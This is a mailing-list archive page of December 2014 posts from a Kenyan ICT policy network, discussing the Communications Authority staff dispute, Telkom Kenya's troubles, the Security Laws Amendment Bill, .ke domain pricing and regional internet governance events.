______________________ Mwendwa Kivuva, Nairobi, Kenya "There are some men who lift the age they inhabit, till all men walk on higher ground in that lifetime." - Maxwell Anderson

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UK's approach to USF
by Dennis Kioko 23 Dec '14

23 Dec '14

The UK regulator has moved from forcing operators to have roaming agreements and instead reached a deal where their licenses will be modified to enforce them to cover areas not currently covered. http://www.mobileworldlive.com/uk-operators-pledge-5b-rural-spend-governmen…

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Re: [kictanet] Is the Communications Authority board out of order?
by Ali Hussein 23 Dec '14

23 Dec '14

Walu I disagree with you on this. You seem to forget about Natural Justice. This sort of thing should not be allowed to continue. I'm with Mwendwa on this. Why create uncertainty and anxiety? When the CA was created the board was dissolved and a 'new' one was put in place. This new dispensation of government/Parastal jobs being advertised while incumbents are still in place is just plain wrong. Something must be done otherwise we will continue to see litigation being the only option for the wronged. Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad > On Dec 23, 2014, at 2:08 PM, Walubengo J via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: > > Interesting development. Anyone with a digital version of the advert? Looks like kazi mingi :-) > > Reminds me of when my college became a university and all the jobs were re-advertised. The top guys went to court - and partly won. The courts allowed their contracts run to expiry but their jobs still eventually went to some new Dons. > > Restructuring is always a nasty event. However, as long as the old employees are allowed to apply and assured of not being sacked (whether they get the job or not), then all should be fine. Natural attrition is expensive but always the safest option in such circumstances. > > walu. > > From: Mwendwa Kivuva via kictanet <kictanet(a)lists.kictanet.or.ke> > To: jwalu(a)yahoo.com > Sent: Tuesday, December 23, 2014 12:15 PM > Subject: [kictanet] Is the Communications Authority board out of order? > > The advert in the daily Nation on Friday 19th advertising the vacancies at the Communications Authority seem to indicate that the CA senior managers are required to apply for their jobs. The managers have since gone to court: http://www.businessdailyafrica.com/30-managers-sue-communication-regulator-… > The information and communications Act Amendment of 2013, section 105; the transition provisions set out in schedule 6 shall have effect with respect to staff, assets, rights, liabilities, obligations, agreements and other arrangements at the commencement of this act. It says among others " staff shall transit from CCK to CA of Kenya at the same terms and benefits or better terms and their terms shall not be interfered with." > Change is good in every society. It brings impetus in organisations, reduces complacency, and improves efficiency. But these change has to be within the law. By the board advertising these positions it clearly contravenes these provisions of the act. Hon. Jamleck Kamau, Hon. Eng. Rege, Hon Yinda and all honorable members of parliament on this mailing list help us understand how a group of people (the CA Board) would blatantly ignore the law with 'impunity'! > A spot check with some of the employees indicates that their employment terms have not changed - meaning they are permanent and pensionable. You cannot just wake up and change this without terminating and compensating them. The due process should be followed and you do not declare a position (whether change of name) vacant when you have an incumbent. > The timing of this process also seems ill intentioned considering that Parliament which amended the Act before passing it is in recess until February 2015. The advert requires all to apply before 14th January 2015. > Listers, we have to worry about what happens to the Authority because above all disruption to the setup definitely affects many businesses. > Dr. Matiangi - is this another ignorance of the law from your ministry? We already have a failed process at ICTA that has left us with an acting CEO for over 2 years, and a Board that is in office illegally after it was nullified by the High Court. http://www.the-star.co.ke/news/article-183530/court-nullifies-ict-board-app… > COFEK we are relying on you as a watchdog. We know how people are handled during a transition process is key. > > Sincerely, > ______________________ > Mwendwa Kivuva, Nairobi, Kenya > > "There are some men who lift the age they inhabit, till all men walk on higher ground in that lifetime." - Maxwell Anderson > > > _______________________________________________ > kictanet mailing list > kictanet(a)lists.kictanet.or.ke > https://lists.kictanet.or.ke/mailman/listinfo/kictanet > > Unsubscribe or change your options at https://lists.kictanet.or.ke/mailman/options/kictanet/jwalu%40yahoo.com > > The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform for people and institutions interested and involved in ICT policy and regulation. The network aims to act as a catalyst for reform in the ICT sector in support of the national aim of ICT enabled growth and development. > > KICTANetiquette : Adhere to the same standards of acceptable behaviors online that you follow in real life: respect people's times and bandwidth, share knowledge, don't flame or abuse or personalize, respect privacy, do not spam, do not market your wares or qualifications. > > _______________________________________________ > kictanet mailing list > kictanet(a)lists.kictanet.or.ke > https://lists.kictanet.or.ke/mailman/listinfo/kictanet > > Unsubscribe or change your options at https://lists.kictanet.or.ke/mailman/options/kictanet/info%40alyhussein.com > > The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform for people and institutions interested and involved in ICT policy and regulation. The network aims to act as a catalyst for reform in the ICT sector in support of the national aim of ICT enabled growth and development. > > KICTANetiquette : Adhere to the same standards of acceptable behaviors online that you follow in real life: respect people's times and bandwidth, share knowledge, don't flame or abuse or personalize, respect privacy, do not spam, do not market your wares or qualifications.

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Re: [kictanet] Is the Communications Authority board out of order?
by GG 23 Dec '14

23 Dec '14

+ 1@ Kivuva. My take is that the transition clause is clear on how staff should be treated. The Regulator needs to be honest in how it handles this matter. No need to let courts determine the next course of action. @ Walu, I remember seeing the advert on CA's fb wallk --- Original Message --- From: "Mwendwa Kivuva via kictanet" <kictanet(a)lists.kictanet.or.ke> Sent: 23 December 2014 12:17 To: ggithaiga(a)hotmail.com Subject: [kictanet] Is the Communications Authority board out of order? The advert in the daily Nation on Friday 19th advertising the vacancies at the Communications Authority seem to indicate that the CA senior managers are required to apply for their jobs. The managers have since gone to court: http://www.businessdailyafrica.com/30-managers-sue-communication-regulator-… The information and communications Act Amendment of 2013, section 105; the transition provisions set out in schedule 6 shall have effect with respect to staff, assets, rights, liabilities, obligations, agreements and other arrangements at the commencement of this act. It says among others " staff shall transit from CCK to CA of Kenya at the same terms and benefits or better terms and their terms shall not be interfered with." Change is good in every society. It brings impetus in organisations, reduces complacency, and improves efficiency. But these change has to be within the law. By the board advertising these positions it clearly contravenes these provisions of the act. Hon. Jamleck Kamau, Hon. Eng. Rege, Hon Yinda and all honorable members of parliament on this mailing list help us understand how a group of people (the CA Board) would blatantly ignore the law with 'impunity'! A spot check with some of the employees indicates that their employment terms have not changed - meaning they are permanent and pensionable. You cannot just wake up and change this without terminating and compensating them. The due process should be followed and you do not declare a position (whether change of name) vacant when you have an incumbent. The timing of this process also seems ill intentioned considering that Parliament which amended the Act before passing it is in recess until February 2015. The advert requires all to apply before 14th January 2015. Listers, we have to worry about what happens to the Authority because above all disruption to the setup definitely affects many businesses. Dr. Matiangi - is this another ignorance of the law from your ministry? We already have a failed process at ICTA that has left us with an acting CEO for over 2 years, and a Board that is in office illegally after it was nullified by the High Court. http://www.the-star.co.ke/news/article-183530/court-nullifies-ict-board-app… COFEK we are relying on you as a watchdog. We know how people are handled during a transition process is key. Sincerely, ______________________ Mwendwa Kivuva, Nairobi, Kenya "There are some men who lift the age they inhabit, till all men walk on higher ground in that lifetime." - Maxwell Anderson _______________________________________________ kictanet mailing list kictanet(a)lists.kictanet.or.ke https://lists.kictanet.or.ke/mailman/listinfo/kictanet Unsubscribe or change your options at https://lists.kictanet.or.ke/mailman/options/kictanet/ggithaiga%40hotmail.c… The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform for people and institutions interested and involved in ICT policy and regulation. The network aims to act as a catalyst for reform in the ICT sector in support of the national aim of ICT enabled growth and development. KICTANetiquette : Adhere to the same standards of acceptable behaviors online that you follow in real life: respect people's times and bandwidth, share knowledge, don't flame or abuse or personalize, respect privacy, do not spam, do not market your wares or qualifications.

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ENJOY KENYAN MUSIC - ONLINE STREAMING
by Bernard Kioko 23 Dec '14

23 Dec '14

Hi, I hope this is not off topic - as it's a use of technology. Over the last few years we have been working on a project that would help Kenyan musicians get more exposure especially from the diaspora while at the same time creating a platform for listeners to find all Kenyan music in one place. Check out what Kenyan artists have to offer at www.mziki.net and let me have your thoughts and recommendations. If you prefer to listen to Gospel only go straight to http://www.mziki.net/music/gospel PS: Every time you listen to a song from this website, the artist will get paid through the license fee we pay to MCSK, KAMP and PRISK. Regards -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Fwd: [AfrICANN-discuss] Re: Africa Domain Name System Forum to be held in Nairobi, Kenya July 6 - 8 2015
by Bob Omondi 23 Dec '14

23 Dec '14

Dear Listers, The Africa DNS Forum 2015 is coming to Kenya! Regards Bob. ---------- Forwarded message ---------- From: Barrack Otieno <otieno.barrack(a)gmail.com> Date: 2014-12-22 23:07 GMT+03:00 Subject: [AfrICANN-discuss] Re: Africa Domain Name System Forum to be held in Nairobi, Kenya July 6 - 8 2015 To: "africann(a)afrinic.net" <africann(a)afrinic.net> Listers, We are pleased to announce that the third edition of the Africa Domain Name System Forum will take place in Nairobi , Kenya as from July 6-8, 2015. The local host for the event will be the Kenya Network Information Centre www.kenic.or.ke . Participation is open to organizations and individuals interested in the domain name industry in Africa. More information on the event; such as the theme,agenda, list of speakers, accommodation options, venue, visas to enter Kenya will be provided as we move forward. For any inquiries about the forum, please do not hesitate to contact us at barrack@aftld.org,chege@isoc.org,bob.ochieng@icann.org We look forward to seeing you in Nairobi in July. Francais Bonjour à tous, Nous sommes heureux d'annoncer que la troisième édition du Forum Afrique du système de nom de domaine aura lieu à Nairobi, au Kenya à partir de Juillet 6-8, 2015. L'hôte local pour l'événement sera le Centre d'information www.kenic.or Kenya Réseau .ke. La participation est ouverte aux organisations et individus intéressés dans l'industrie des noms de domaine en Afrique. Plus d'informations sur l'événement; telles que le thème, l'ordre du jour, la liste des orateurs, options d'hébergement, le lieu, un visa pour entrer au Kenya seront fournis que nous avançons. Pour tout renseignement sur le forum, se il vous plaît ne hésitez pas à nous contacter à la caserne @ aftld.org, chege @ isoc.org, bob.ochieng @ icann.org Nous avons hâte de vous voir à Nairobi en Juillet. Thank you, Best Regards Barrack Otieno -- Administrative Manager Africa Top Level Domains Organization C/O Kenya Network Information Centre P.o.Box 1461 0606 Nairobi www.aftld.org -- Barrack O. Otieno +254721325277 +254-20-2498789 Skype: barrack.otieno http://www.otienobarrack.me.ke/ _______________________________________________ AfrICANN mailing list AfrICANN(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/africann

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30 Top Managers Sue Communications Regulator over jobs
by GG 23 Dec '14

23 Dec '14

http://www.businessdailyafrica.com/30-managers-sue-communication-regulator-…

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Should we worry over the impending Telkom Collapse
by Ali Hussein 23 Dec '14

23 Dec '14

Listers Happy Holidays. Interesting story in the Sunday Nation on the above. It's especially poignant for me as I sit in Lamu trying to send an email for the last two hours with no success. I have both Orange and Safaricom and both have failed me dismally. I'm left wondering:- What National Broadband Strategy if we can't get the key county headquarters connected even with decent reliable connectivity. Maybe it's because it's the season of Kaskazi which is interfering with connectivity. Anyway, back to the Telkom issue:- Clearly, the government is yet to think through a clear strategy on how to handle the impending exit of France Telecom from the shareholding of Telkom Kenya – even as the country’s third mobile operator in terms of subscribers sinks deeper into financial distress. The uncertainty around the fate of what was once one of the largest state corporations with a workforce of more than 23,000 employees is captured in a recent letter by Information and Communications Secretary, Dr Fred Matiang’i, to President Uhuru Kenyatta. Writing in October, Dr Matiang’i argued that the insolvency of Telkom Kenya was bound to affect negatively the government’s plans in the ICT sector. According to Dr Matiang’i, Telkom Kenya’s dwindling fortunes will put the success of the national broadband strategy, including the plans to roll out Huduma Centres at risk. Read on:- http://www.nation.co.ke/oped/Opinion/Why-State-should-worry-over-impending-… Question(s) 1. I hope Dr. Matiang'i was misquoted because for the life of me I can't see how the collapse of one company can put the whole country's Broadband Strategy at risk. Can someone please explain this to me? I doubt this is the case. Was the management contract for NOFBi so skewed to favour Orange Telkom that we are now unable to extricate ourselves? 2. Are we serious about connecting the country? By now we should expect at least the same level of connectivity as Nairobi. We now know that the myth of our country's GDP coming majorly from Nairobi is just that. A myth. Again, when are we going to get the Universal Access Fund working? At this rate we might as well call it a Phantom. 3. Why are we wasting so much energy on Telkom Kenya? I do commensurate with the current Government because they really were saddled with this albatross. But now it's time to put it out of its misery. This may sound callous but Orange is going nowhere. Even the staff know it. If we want to save Kenyan jobs then let's step in and revert it back to being a parastatal because clearly the French have funked it. Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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Re: [kictanet] SwahiliBox - Mombasa's Technology Hub is coming to life
by Ahmed Mohamed Maawy 22 Dec '14

22 Dec '14

Thank you Dr. Bitange. Although we have not decided on a final date for that, at the moment we are planning to have it somewhere within the 2nd quarter of the coming year (2015). However we do plan to have that communicated soon as we can. I will also make it a point to personally inform you as well as all on this list on that once we have all the plans finalized. Ahmed On Mon, Dec 22, 2014 at 6:20 PM, Bitange Ndemo <bndemo(a)bitangendemo.me> wrote: > Ahmed, > This is great. When is the launch date? > > Ndemo. > > On Sun, Dec 21, 2014 at 9:59 PM, Ahmed Mohamed Maawy via kictanet < > kictanet(a)lists.kictanet.or.ke> wrote: > >> Listers, >> >> We have already started the process of bringing up what will be Mombasa's >> Technology Hub, The SwahiliBox >> <http://cio.co.ke/blog/swahilibox-the-next-major-technology-hub-in-africa>, >> to life, and we have prepped up a team of volunteers to work with us in the >> process - so we are working together with the tech community here to shape >> up their next new and major home. It is going to be interesting to >> eventually see how the Nairobi and Mombasa Technology Communities can come >> and work together as a result of this. What would be more interesting would >> be to see the activities we can bring down to the space and create a more >> "regional" technology landscape. >> >> We shall be sharing the stories as we move along the way. But the next >> few weeks and months will be God willing very interesting. >> >> -- >> *Ahmed Maawy* >> Executive Director - M-Power (CBO) >> Shaper - Global Shapers >> Ambassador - Open Knowledge >> Director - Startup Grind Mombasa >> Software Developer - Volo Broadband >> (KE) +254 714 960 627 >> Skype: ultimateprogramer >> >> m-power.or.ke >> www.globalshapers.org <http://globalshapers.org/> >> www.okfn.org <http://okfn.org/> >> startupgrind.com >> www.volobroadband.com >> >> _______________________________________________ >> kictanet mailing list >> kictanet(a)lists.kictanet.or.ke >> https://lists.kictanet.or.ke/mailman/listinfo/kictanet >> >> Unsubscribe or change your options at >> https://lists.kictanet.or.ke/mailman/options/kictanet/bitange%40jambo.co.ke >> >> The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform >> for people and institutions interested and involved in ICT policy and >> regulation. The network aims to act as a catalyst for reform in the ICT >> sector in support of the national aim of ICT enabled growth and development. >> >> KICTANetiquette : Adhere to the same standards of acceptable behaviors >> online that you follow in real life: respect people's times and bandwidth, >> share knowledge, don't flame or abuse or personalize, respect privacy, do >> not spam, do not market your wares or qualifications. >> > > -- *Ahmed Maawy* Executive Director - M-Power (CBO) Shaper - Global Shapers Ambassador - Open Knowledge Director - Startup Grind Mombasa Software Developer - Volo Broadband (KE) +254 714 960 627 Skype: ultimateprogramer m-power.or.ke www.globalshapers.org <http://globalshapers.org/> www.okfn.org <http://okfn.org/> startupgrind.com www.volobroadband.com

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New Dot KE Domain Pricing Structure
by Fiona Asonga 22 Dec '14

22 Dec '14

Hallo Listers, KENIC has announced new domain pricing can we support KENIC by taking up more .ke domain names. If you are on .com this is the opportunity to acquire to .ke Kudos KENIC for making the move. Fiona Asonga Chief Executive Officer Telecommunications Service Providers Association of Kenya/ Kenya Internet Exchange Point Member Strategic Committee of the Africa Computer Emergency Response Team NRO Number Council http://www.nro.net/about/number-council.html ASO Address Council http://aso.icann.org/ac/ 14 th Floor, Bruce House Standard Street Tel: +254 20 2245 036 Cell: +254 721 713 504 Website: www.tespok.or.ke ----- Original Message ----- From: "KeNIC Admin" To: registrar-announce(a)kenic.or.ke Sent: Friday, December 19, 2014 2:28:40 PM Subject: [Kenic-announce] [KeNIC#0652384] New Dot KE Domain Pricing Structure Dear Registrars, Following deliberations at the registrar breakfast meeting held on Friday 31st October, 2014 we are pleased to inform you that we have adjusted our domain prices as follows; * Domain registrations: KES. 650/= * Domain renewal: KES. 580/= * Recommended Retail Price: KES. 1,000/= +VAT Kindly note that the new prices apply to all sub-domains and will be effective from 1st January, 2015. The current pricing structure and ongoing registrar offers will be withdrawn on 31st December, 2014. We appreciate your continued support and believe that the new pricing structure will promote the growth of dot KE. For additional information please email marketing[at]kenic.or.ke Your faithfully, Kenic Support -- Kenya Network Information Centre, CCK Centre, Opposite Kianda School, P.O Box 1461 - 00606, Nairobi - Kenya Airtel: 0733 79 00 73 Safaricom: 0715 275 483 Tel:020-445-0057/8 Fax: 020-445-0087 www: http://www.kenic.or.ke Talk to us on -- -- This message has been scanned for viruses and dangerous content by KeNIC MailScanner , and is believed to be clean. Kenya Network Information Centre (KeNIC). _______________________________________________ Registrar-announce mailing list Registrar-announce(a)kenic.or.ke http://lists.kenic.or.ke/mailman/listinfo/registrar-announce

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SwahiliBox - Mombasa's Technology Hub is coming to life
by Ahmed Mohamed Maawy 22 Dec '14

22 Dec '14

Listers, We have already started the process of bringing up what will be Mombasa's Technology Hub, The SwahiliBox <http://cio.co.ke/blog/swahilibox-the-next-major-technology-hub-in-africa>, to life, and we have prepped up a team of volunteers to work with us in the process - so we are working together with the tech community here to shape up their next new and major home. It is going to be interesting to eventually see how the Nairobi and Mombasa Technology Communities can come and work together as a result of this. What would be more interesting would be to see the activities we can bring down to the space and create a more "regional" technology landscape. We shall be sharing the stories as we move along the way. But the next few weeks and months will be God willing very interesting. -- *Ahmed Maawy* Executive Director - M-Power (CBO) Shaper - Global Shapers Ambassador - Open Knowledge Director - Startup Grind Mombasa Software Developer - Volo Broadband (KE) +254 714 960 627 Skype: ultimateprogramer m-power.or.ke www.globalshapers.org <http://globalshapers.org/> www.okfn.org <http://okfn.org/> startupgrind.com www.volobroadband.com

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FYI- ICYMI- Summary report of IGF Open Consultations and MAG Meeting and call for Participation by 31 December 2014
by Ephraim Percy Kenyanito 20 Dec '14

20 Dec '14

Apologies of you receive multiple copies of this email. The first Open Consultations and Multistakeholder Advisory Group (MAG) Meeting in the IGF 2015 preparatory process took place on 1-3 December 2014, in Geneva, Switzerland. These consultations also took stock of the IGF 2014 meeting, looking at what worked well and what did not. The summary report of the meeting is available here: http://intgovforum.org/cms/documents/igf-meeting/igf-2015-joao-pessoa/422-d… . *Call for participation in defining the IGF 2015 overarching theme and sub-themes* During the December Open Consultations and MAG meeting, discussions were initiated on defining the IGF 2015 overarching theme and sub-themes. A number of proposals for both the overarching theme ( http://www.intgovforum.org/cms/documents/contributions/open-consultations/2…) and sub-themes ( http://www.intgovforum.org/cms/documents/contributions/open-consultations/2…) were made during the meeting and discussions now continue via a dedicated mailing list - igf2015_themes(a)intgovforum.org. Stakeholders are invited to join this mailing list (http://intgovforum.org/mailman/listinfo/igf2015_themes_intgovforum.org) and to express their support for some of the already proposed themes, to suggest revisions to these themes or to propose new themes. The deadline for such contributions is 31 December 2014. *Call for stakeholders to Join Working Groups* Please find below a list of the Working groups and associated mailing lists. At the moment the default is public that anyone can join. Working Group *Mailing list name* *Mailing list sign up page* *Lead Facilitators* IGF 2015 themes igf2015_themes(a)intgovforum.org http://intgovforum.org/mailman/listinfo/igf2015_themes_intgovforum.org Benedicto Fonseca Filho. Intercessional activities intersessional_2015(a)intgovforum.org http://intgovforum.org/mailman/listinfo/intersessional_2015_intgovforum.org Mourad Boukadoum,; Virat Bhatia; Avri Doria; Lynn St. Amour. Main Session guidelines ms_guidelines_2015(a)intgovforum.org http://intgovforum.org/mailman/listinfo/ms_guidelines_2015_intgovforum.org Flavio Wagner; Subi Chaturvedi; Virginia Paque. Outreach communication outreach_com_2015(a)intgovforum.org http://intgovforum.org/mailman/listinfo/outreach_com_2015_intgovforum.org Dominique Lazanski Remote participation rp_2015(a)intgovforum.org http://intgovforum.org/mailman/listinfo/rp_2015_intgovforum.org Ginger Paque. Self-assessment of IGF selfassesment_2015(a)intgovforum.org http://intgovforum.org/mailman/listinfo/selfassesment_2015_intgovforum.org Marilyn Cade. Workshop evaluation, selection criteria, and mechanisms ws_selection_2015(a)intgovforum.org http://intgovforum.org/mailman/listinfo/ws_selection_2015_intgovforum.org ** -- Best Regards, *Ephraim Percy Kenyanito* Website: http://about.me/ekenyanito

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Program for Form Four Leavers and Undergraduate students
by Tracy Nyatoro Weru 19 Dec '14

19 Dec '14

Good Afternoon, We have the pleasure to inform you that at @iLabAfrica, Strathmore University is organising a 2 months *Certificate in Mobile Development for the Android platform*. I will run from Jan 19--March 19 2015. There will be a *Discount for registrations before 27th Dec 2014,* . The course targets *Form four Leavers and Undergraduate students* with a passion for Programming. The course will focus on helping the students to become android application developers and release high-quality applications to the marketplace. Learn about the various stages of development on the Android platform and study topics related to User Interface, application services, permissions and security, graphics and video resources, data persistence, mobile application marketing, application hosting and more. Upon completion of the Certificate program, students will have acquired: - The basic techniques required for developing apps for the Android OS platform that meet market needs - Communication skills that will enable them pitch their ideas to investors - Proposal writing skills for the applications that they are building and how to change their applications from a simple idea into a business. We would be honoured if you would refer students to attend this event. Please let me know at your convenience if you will be able to send any participants or if you can refer other interested students. Registration for the training can be done by following this link: Register Here <https://docs.google.com/a/strathmore.edu/forms/d/1VpbkgQF_rULhl_drM_3AjYtbo…> For further questions, comments and/or suggestions, please contact the event coordinators: Tracy Weru, Cell: (+254) 0724 239 020 email: tweru(a)strathmore.edu Peter Njoroge, Cell: (+254) 0725 567 229 email: pnyambura(a)strathmore.edu -- Note: All emails sent from Strathmore University are subject to Strathmore’s Email Terms & Conditions. Please click here <http://www.strathmore.edu/aboutus.php?id=184> to read the policy. "Visit our Facebook <https://www.facebook.com/StrathmoreUniversity>Page and Twitter <https://twitter.com/StrathU>Account".

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Fwd: Call for Partnerships: Innovation/Technology Institutions
by Grace Githaiga 18 Dec '14

18 Dec '14

Date: Mon, 15 Dec 2014 14:30:26 +0300 From: lillian(a)cipesa.org To: Subject: [Apc.africa] Fwd: Call for Partnerships: Innovation/Technology Institutions Dear all, Ps. see below.. apologies for cross-posting. **** Afternoon All, The Collaboration on International ICT Policy in East and Southern Africa (CIPESA) is seeking partnerships with local tech communities in Kenya, Uganda, Tanzania, Rwanda, Burundi and Ethiopia to generate an empirical understanding in an [East] African context, of online safety and security technologies for ICT/internet users in the region. Each tech institution will work with CIPESA to bring together various competencies and networks to address the various internet freedoms challenges faced in the region.The partnerships are in the context of the OpenNet Africa initiative (www.opennetafrica.org) which is aimed at promoting internet freedom in the region through digital security and safety skills development, creating awareness on the status of online freedoms, building a network of the region’s actors in this domain, and advocacy to engender more progressive digital rights regimes. Closing date for applications: Friday January 9, 2015.Further details on the scope, eligibility and how to apply are available at http://www.cipesa.org/?wpfb_dl=95 Regards,Ashnah -- Ashnah Kalemera Programmes Associate Mobile: +256 (0) 773 325 435|Office: +256 (0) 414 289 502 ----------------------------------------------------------------------------------------------------------- Collaboration on International ICT Policy in East and Southern Africa (CIPESA) Plot 156-158 Mutesa II Road, Ntinda | Kampala, Uganda www.cipesa.org | @cipesaug | www.facebook.com/cipesaug www.cipesa.org | @cipesaug | www.facebook.com/cipesaug _______________________________________________ Apc.africa mailing list Info and options: http://lists.apc.org/cgi-bin/mailman/listinfo/apc.africa To unsubscribe, email apc.africa-unsubscribe(a)lists.apc.org

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Fwd: [AfrICANN-discuss] ICANN 2015 NomCom call for nominations
by Bob Omondi 18 Dec '14

18 Dec '14

Reminder to the list. Please apply. Regards Bob. ---------- Forwarded message ---------- From: Alan Barrett <apb(a)cequrux.com> Date: Thu, Dec 18, 2014 at 12:01 PM Subject: [AfrICANN-discuss] ICANN 2015 NomCom call for nominations To: africann(a)afrinic.net Here's a link to the call for nominations to several ICANN positions. https://www.icann.org/resources/pages/2015-2014-11-14-en The positions that will be filled by NomCom are: * Three members of the ICANN Board of Directors * Three At-Large Advisory Committee (ALAC) representatives (one each from the Africa, Asia/Australia/Pacific Islands and Latin America/Caribbean Islands regions) * Two members of the Council of the Generic Names Supporting Organization (GNSO) * One member of the Council of the Country-Code Names Supporting Organization (ccNSO) I heard from a NomCom member that "For the board we are looking for candidates from Africa and Latin America in particular, so if you know of qualified candidates please point them to the Nomcom website." --apb (Alan Barrett) _______________________________________________ AfrICANN mailing list AfrICANN(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/africann

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Season’s Greetings: 2014 End of Year Message from DotConnectAfrica!
by Gideon 18 Dec '14

18 Dec '14

DotConnectAfrica wishes you a very Merry Christmas and Happy New Year 2015! FYI Our Yearly newsletter http://archive.constantcontact.com/fs123/1102516344150/archive/111890226097… Regards Gideon Rop DotConnectAfrica

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by suzzane njoroge 18 Dec '14

18 Dec '14

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The Securities laws amendment bill 2014 and it's impact on ICT
by Mwendwa Kivuva 16 Dec '14

16 Dec '14

Kenya is in the process of implementing a new bill the "Security Laws (Amendment) Act, 2014." which is being fast-tracked by the executive. This law among other thing seeks to put in place punitive measures to ensure terrorists and those who promote terrorism are punished accordingly. We will seek to review the clauses in the law that affect the ICT industry, and ask you to give feedback on how best the laws should be implemented. Attached with this email is the security laws. Here are some of the contents of the laws 1. The bill makes it an offence to broadcast information which undermines investigations relating to terrorism without police consent. (page 55) 2. The National Security Organs may intercept communication for the purposes of detecting, deterring and disrupting terrorism in accordance with procedures to be prescribed by the Cabinet Secretary. (Page 57) 3. A person who publishes or causes to be published or distributed obscene, gory or offensive material which is likely to cause fear and alarm to the general public or disturb public peace is guilty of a felony (page 4) 4. It's illegal to post anything in social media that praise, advocate or incite acts of terrorism 5. It's illegal to adopt ideologies based on violence and which advance political, religious or social change in terms of radicalisation 6. In any legal proceedings, electronic messages and digital material shall be admissible as evidence. (Page 29) 7. The Bill intends to make it an offence to publish or broadcast photographs of victims of terror attacks without the consent of the police or the victim. (page 55) The public consultation started and probably ended yesterday (why such a short notice), but your input can still go a long way in ensuring we pass laws that serve the Mwananchi fairly. Internet Society Kenya Chapter and Kictanet seeks to engage in a series of online discussions covering various trending issues which will culminate in a public consultative forum with industry and policymakers to share the feedback from the community and see how best we can influence and shape the Internet landscape in Kenya. Sincerely, ______________________ Mwendwa Kivuva, Nairobi, Kenya Secretary, Internet Society Kenya Chapter "There are some men who lift the age they inhabit, till all men walk on higher ground in that lifetime." - Maxwell Anderson

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UK Police underskilled to fight cybercrime
by waudo siganga 16 Dec '14

16 Dec '14

http://www.itgovernance.co.uk/blog/police-woefully-under-skilled-to-fight-c… I wonder how the Kenya Police compares

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The Security Laws (Amendment) Bill has far-reaching technology implications
by Grace Githaiga 16 Dec '14

16 Dec '14

The last few days have been hectic for Kenyans. We seem to agree that there is a terrorism situation that needs to be addressed, but disagree on how to go about it.The recently published Security Laws Amendment Bill (2014) is the government proposal on how to address the now-maturing terrorist threat in Kenya, but the opposition, human rights and civil society groups seem to think little of it. http://www.nation.co.ke/oped/blogs/dot9/walubengo/-/2274560/2558312/-/10sx6…

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Fwd: [AFRI-Discuss] African representation in ICANN leadership positions to the list for approval
by Mwendwa Kivuva 15 Dec '14

15 Dec '14

Reminder, Open positions in ICANN ______________________ Mwendwa Kivuva, Nairobi, Kenya "There are some men who lift the age they inhabit, till all men walk on higher ground in that lifetime." - Maxwell Anderson ---------- Forwarded message ---------- From: Fatimata Seye Sylla <fsylla(a)gmail.com> Date: 12 December 2014 at 23:42 Subject: Re: [AFRI-Discuss] African representation in ICANN leadership positions to the list for approval To: Tijani BEN JEMAA <tijani.benjemaa(a)topnet.tn> Cc: "afri-discuss(a)atlarge-lists.icann.org" <afri-discuss(a)atlarge-lists.icann.org> Yes Tijani, we really have to move on. Please find in attachment the NomCom Report card for November and December with a call for application and AFRALO noted as a example for outreach activities! Bravo! Please share with your networks. Thanks and warmest greetings, Fatimata 2014-12-12 11:32 GMT+00:00 <tijani.benjemaa(a)topnet.tn>: > > That's perfect Silvia; Thank you. > > All, please review the strategy document and give your comments as soon as > possible so that AFRALO can approve the document and the task force > implement it immediately (the official call for candidates has already been > published by the NomCom on the ICANN website). > > > -------------------------------------------------------------------------------- > Tijani BEN JEMAA > Executive Director > Mediterranean Federation of Internet Associations (FMAI) > Phone: + 216 41 649 605 > Mobile: + 216 98 330 114 > Fax: + 216 70 853 376 > > -------------------------------------------------------------------------------- > > > > > > -----Message d'origine----- > De : afri-discuss-bounces(a)atlarge-lists.icann.org [mailto: > afri-discuss-bounces(a)atlarge-lists.icann.org] De la part de Silvia Vivanco > Envoyé : mercredi 10 décembre 2014 22:20 > À : afri-discuss(a)atlarge-lists.icann.org > Objet : [AFRI-Discuss] African representation in ICANN leadership > positions to the list for approval > > Dear AFRALO members, > > On behalf of AFRALO leaders kindly find attached and posted on the wiki > space the "Draft Strategy Document for ensuring more African > representation in ICANN leadership positions" for your review, comments and > approval. > > https://community.icann.org/pages/viewpage.action?pageId=49353312 > > Thank you! > > Silvia > > > > Silvia Vivanco > Manager, At Large Regional Affairs > ICANN | Internet Corporation for Assigned Names and Numbers www.icann.org< > http://www.icann.org/> > > > > > > _______________________________________________ > AFRI-Discuss mailing list > AFRI-Discuss(a)atlarge-lists.icann.org > https://atlarge-lists.icann.org/mailman/listinfo/afri-discuss > > Homepage for the region: http://www.afralo.org > > Posting guidelines to ensure machine translations of emails sent to this > list are more accurate: > http://www.funredes.org/mistica/english/emec/method_emec/presentation.html#… > -- Fatimata Seye Sylla ICT4D, Education & Genre _______________________________________________ AFRI-Discuss mailing list AFRI-Discuss(a)atlarge-lists.icann.org 